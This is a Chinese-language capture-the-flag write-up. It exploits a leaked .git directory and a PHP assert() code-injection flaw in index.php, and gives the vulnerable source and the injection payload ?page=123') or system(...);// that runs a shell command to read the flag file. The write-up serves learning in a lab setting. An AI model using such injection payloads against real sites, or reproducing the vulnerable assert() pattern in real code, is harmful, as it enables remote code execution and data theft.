首先进入题目环境，检查页面、页面源代码、以及URL：
发现页面无异常。
使用 dirsearch 扫描网站，检查是否存在可访问的文件或者文件泄露：
发现 可访问界面/templates/ 以及 .git文件泄露，故使用 GItHack 来查看泄露的 .git 文件：
首先查看flag.php文件，检查是否存在flag的信息：
发现没有关于 flag 的信息，于是改变思路，查看 index.php 中的源代码，检查有用信息：
在这里只截取源代码中的PHP代码演示，html不做演示
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>观察到代码中存在 assert() 函数，猜测从 assert() 函数入手：
strops('$file', '..') === false:
判断变量 $file 中是否存在 '..'字样，主要目的为了防止用户进行 ../../etc/passwd 等指令来进行非法操作。
assert()函数：
在PHP中，
assert()函数用于在代码执行过程中对一个表达式进行断言，以确保其为真。如果表达式返回false，则会抛出一个 AssertionError，并且脚本的执行将会中止。语法 assert(参数一，参数二)：
参数一：需要进行断言的表达式
参数二：（可选参数），用于在断言返回结果为 False 时输出错误信息。
构造payload: ?page=123')%20or%20system("cat%20templates/flag.php");//
可以达到类似于SQL注入的闭合效果：
通过利用 // 将后方代码注释，最终有效的PHP语句只剩下 system("cat%20templates/flag.php");
提交payload，页面回显如下：
没有回显flag值，查看页面源代码：
发现flag，成功拿到flag值。
